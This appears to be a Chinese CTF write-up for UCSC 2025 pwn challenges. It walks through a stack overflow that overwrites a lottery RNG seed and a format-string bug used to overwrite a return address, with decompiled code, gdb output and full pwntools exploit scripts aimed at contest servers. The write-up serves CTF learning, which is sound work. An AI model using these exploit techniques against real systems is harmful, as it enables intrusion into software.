

UCSC 2025 Pwn WriteUp

FoBido

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v4; // [rsp+4h] [rbp-3Ch] BYREF
4     int v5; // [rsp+8h] [rbp-38h] BYREF
5     int v6; // [rsp+Ch] [rbp-34h] BYREF
6     char buf[20]; // [rsp+10h] [rbp-30h] BYREF
7     unsigned int v8; // [rsp+24h] [rbp-1Ch]
8     unsigned int v9; // [rsp+28h] [rbp-18h]
9     unsigned int v10; // [rsp+2Ch] [rbp-14h]
10    unsigned int seed; // [rsp+30h] [rbp-10h]
11    unsigned int i; // [rsp+34h] [rbp-Ch]
12    int v13; // [rsp+38h] [rbp-8h]
13    int v14; // [rsp+3Ch] [rbp-4h]
14
15    init(argc, argv, envp);
16    v14 = 0;
17    v13 = 0;
18    seed = time(0LL);
19    puts("Welcome to the lottery game!");
20    puts("Enter your name:");
21    read(0, buf, 0x25uLL);
22    puts("Now start your game!");
23    srand(seed);
24    for ( i = 1; (int)i <= 10; ++i )
25    {
26        v10 = rand() % 255;
27        v9 = rand() % 255;
28        v8 = rand() % 255;
29        printf("[+] Round %d, please choose your numbers:\n", i);
30        __isoc99_scanf("%d%d%d", &v6, &v5, &v4);
31        printf("The lucky number is: %d %d %d\n", v10, v9, v8);
32        v13 = 0;
33        if ( v10 == v6 )
34            ++v13;
35        if ( v9 == v5 )
36            ++v13;
37        if ( v8 == v4 )
38            ++v13;
39        if ( v13 == 3 )
40        {
41            puts("Congratulations! You won the first prize!");
42            ++v14;
43        }
44        if ( v13 == 2 )
45            puts("Congratulations! You won the second prize!");
46        if ( v13 == 1 )
47            puts("Congratulations! You won the third prize!");
48    }
49    return 0;
50 }
```

0000127D main:1 (40127D)

第一眼就看到栈溢出

```

-000000000000000038 var_38 dd ?
-000000000000000034 var_34 dd ?
-000000000000000030 buf db 20 dup(?)
-00000000000000001C var_1C dd ?
-000000000000000018 var_18 dd ?
-000000000000000014 var_14 dd ?
-000000000000000010 seed dd ?
-00000000000000000C var_C dd ?
-000000000000000008 var_8 dd ?
-000000000000000004 var_4 dd ?
+000000000000000000 s db 8 dup(?)
+000000000000000008 r db 8 dup(?)
+000000000000000010
+000000000000000010 ; end of stack variables

```

可以溢出到seed

则rand()变得可预测

Tip:

这里的可预测是在固定Seed下的随机数 顺序及数字 完全相同，有时环境不同，模拟结果也会不同。

我没学过ctype，又怕线上环境不一样，直接不选择模拟，直接选择开干

```

1  from pwn import *
2
3  file = "./BoFido"
4  elf = ELF(file)
5
6  context(arch=elf.arch, os='linux')
7
8
9  a, b, c = 0, 0, 0
10 j = [[],[],[]]
11
12
13 def play_round(io, round_num):
14     global a, b, c
15
16
17     if round_num == 1:
18

```

```

19         io.sendlineafter(b'please choose your numbers:\n', b"1 2 3")
20     else:
21
22         io.sendlineafter(b'please choose your numbers:\n', f"{a} {b}
{c}".encode())
23
24
25     io.recvuntil(b"The lucky number is: ")
26     line = io.recvline().decode().strip()
27     a, b, c = map(int, line.split())
28
29     prize = io.recvuntil(b"Congratulations! You won", drop=True)
30     j[0].append(a)
31     j[1].append(b)
32     j[2].append(c)
33     success(f"Round {round_num}: Lucky numbers {j[0][round_num-1]} {j[1]
[round_num-1]} {j[2][round_num-1]} - {prize.decode()}")
34
35 # 在线上/本地跑一遍程序, 获取随机数
36 #-----
37
38 if args.REMOTE:
39     io = remote('39.107.58.236', 44623)
40 else:
41     io = process(file)
42
43
44 io.recvuntil(b"Enter your name:")
45 io.sendline(b'A'*0x25)
46
47 for round_num in range(1,11):
48     play_round(io, round_num)
49 #-----
50
51 # 根据前面获得的数直接打
52 #-----
53 if args.REMOTE:
54     io = remote('39.107.58.236', 44623)
55 else:
56     io = process(file)
57
58 io.recvuntil(b"Enter your name:")
59 io.sendline(b'A'*0x25)
60
61 for i in range(10):
62     io.sendlineafter(b'please choose your numbers:\n', f"{j[0][i]} {j[1][i]}
{j[2][i]}".encode())
63     io.recvuntil("Congratulations! You won the first prize!", timeout=2)

```

```

64     success(f"Round {i+1} , Pass")
65
66
67     io.recvuntil(b"You're so lucky! Here is your gift!", timeout=1)
68     io.interactive()
69
70     #-----

```

userlogin

```

1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3     void *v3; // rsp
4     _QWORD v4[3]; // [rsp+0h] [rbp-40h] BYREF
5     int v5; // [rsp+1Ch] [rbp-24h]
6     _QWORD *v6; // [rsp+28h] [rbp-18h]
7     __int64 v7; // [rsp+30h] [rbp-10h]
8     unsigned int v8; // [rsp+38h] [rbp-8h]
9     int i; // [rsp+3Ch] [rbp-4h]
10
11     v5 = argc;
12     v4[2] = argv;
13     v4[1] = envp;
14     v8 = 16;
15     v7 = 16LL;
16     v3 = alloca(32LL);
17     v6 = v4;
18     init(argc, argv, 0LL);
19     generatePassword(v6, v8);
20     for ( i = 0; i <= 2; ++i )
21         login(v6);
22     exit(0);
23 }

```

刚进来一看，以为是要过密码

进入login()

```

1 int __fastcall login(const char *a1)
2 {
3     char s1[44]; // [rsp+10h] [rbp-30h] BYREF
4     int v3; // [rsp+3Ch] [rbp-4h]
5
6     v3 = 16;
7     printf("Password: ");
8     input(s1, 32LL);
9     if ( !strcmp(s1, "supersecureuser") )
10         return user();
11     if ( !strcmp(s1, a1) )
12         return root();
13     return puts("Password Incorrect.\n\n");
14 }

```

进入user()

恍然大悟

```
1 int user()  
2 {  
3     char buf[32]; // [rsp+0h] [rbp-20h] BYREF  
4  
5     puts("Write Something");  
6     read(0, buf, 0x20uLL);  
7     return printf(buf);  
8 }
```

格式化字符串！

那么这个题目就明朗了，直接开打（甚至不需要去获取基地址就能打）

```
1 from pwn import *  
2 import LibcSearcher  
3  
4 file = "./pwn"  
5 elf = ELF(file)  
6  
7 context(arch=elf.arch,os='linux')  
8  
9 if args['DEBUG']:  
10     context.log_level = 'debug'  
11  
12  
13 if args['REMOTE']:  
14     io = remote('192.168.202.151', 32768)  
15 else:  
16     io = process(file)  
17  
18  
19  
20 if elf.arch == 'i386':  
21     B = 4  
22 elif elf.arch == 'amd64':  
23     B = 8  
24 else:  
25     print("PLS Input The Address Byte: ")  
26     B = int(input())  
27 print("B=" + str(B))  
28  
29 sla = lambda ReceivedMessage,SendMessage  
    :io.sendlineafter(ReceivedMessage,SendMessage)
```

```

30 sl = lambda SendMessage :io.sendline(SendMessage)
31 sa = lambda ReceivedMessage,SendMessage
    :io.sendafter(ReceivedMessage,SendMessage)
32 rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber,
    TimeOut)
33 rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default
    :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)
34
35 sl(b"supersecureuser")
36
37 sla(b"Write Something\n",b"%10$p")
38
39 leak_addr = int(io.recv(14), 16) +8 - 0x50
40 success("Leak Address:" + hex(leak_addr))
41
42 shell_addr = 0x1261 +1
43 payload = "%{c%8$hnAAAAA}".format(shell_addr).encode() + p64(leak_addr)
44 print(payload)
45 sl(b"supersecureuser")
46 #gdb.attach(io)
47
48 sla(b"Write Something",payload)
49
50 io.interactive()
51

```

有可能有些师傅还一脸问号 (bushi

`%10$` 指向地址s1, s1指向s2,因而 `%10$p` 泄露出了s2

用gdb看, 是这样的

```

pwndbg>
%10$p
0x00000000004012a4 in user ()
pwndbg> ni
0x00000000004012a8 in user ()
pwndbg>
0x00000000004012ab in user ()
pwndbg>
0x00000000004012b0 in user ()
pwndbg>
0x7fffffffef0
0x00000000004012b5 in user ()
pwndbg> stack
00:0000 | rsp 0x7fffffffef180 ← 0xa7024303125 /* '%10$p\n' */
01:0008 | -018 0x7fffffffef188 → 0x7fffffffef1c0 ← 'supersecureuser'
02:0010 | -010 0x7fffffffef190 → 0x7fffffffef388 → 0x7fffffffef67c ← '/home/mindedness/Shares/pwn/pwn'
03:0018 | -008 0x7fffffffef198 → 0x7ffff7ffe2e0 ← 0
04:0020 | rbp 0x7fffffffef1a0 → 0x7fffffffef1f0 → 0x7fffffffef260 → 0x7fffffffef300 → 0x7fffffffef360 ← ...
05:0028 | +008 0x7fffffffef1a8 → 0x401490 (login+92) ← jmp login+144
06:0030 | +010 0x7fffffffef1b0 ← 'qrstuvwxyz'
07:0038 | +018 0x7fffffffef1b8 → 0x7fffffffef200 ← '0yKIw5IoX2queRxK'
pwndbg>
两者相差0x50字节
08:0040 | +020 0x7fffffffef1c0 ← 'supersecureuser'
09:0048 | +028 0x7fffffffef1c8 ← 0x72657375657275 /* 'ureuser' */
0a:0050 | +030 0x7fffffffef1d0 ← 0x333231305a595800
0b:0058 | +038 0x7fffffffef1d8 ← 0x21393837363534 /* '456789!' */
0c:0060 | +040 0x7fffffffef1e0 ← 0x24000000004
0d:0068 | +048 0x7fffffffef1e8 ← 0x1000000003f /* '?' */
0e:0070 | +050 0x7fffffffef1f0 → 0x7fffffffef260 → 0x7fffffffef300 → 0x7fffffffef360 ← 0
0f:0078 | +058 0x7fffffffef1f8 → 0x40154b (main+132) ← add dword ptr [rbp - 4], 1
pwndbg>

```

因而泄露的leak_addr是s2,也就是 0x7fffffffef0

我们对leak_addr + 8 (- 0x50) 就是 返回地址所在的地址

后面就是格式化字符串的老套路了

疯狂复制

因为自己有事，再加上我的环境发电，于是只做了半个小时不到的题目 (可恶),所以只做到这个题就不动了。

一眼Off-By-Null，创建一个0x10的大小的堆，能够输入0x11大小的字符串。

(摆乐，这个 Wp到此为止)

EOF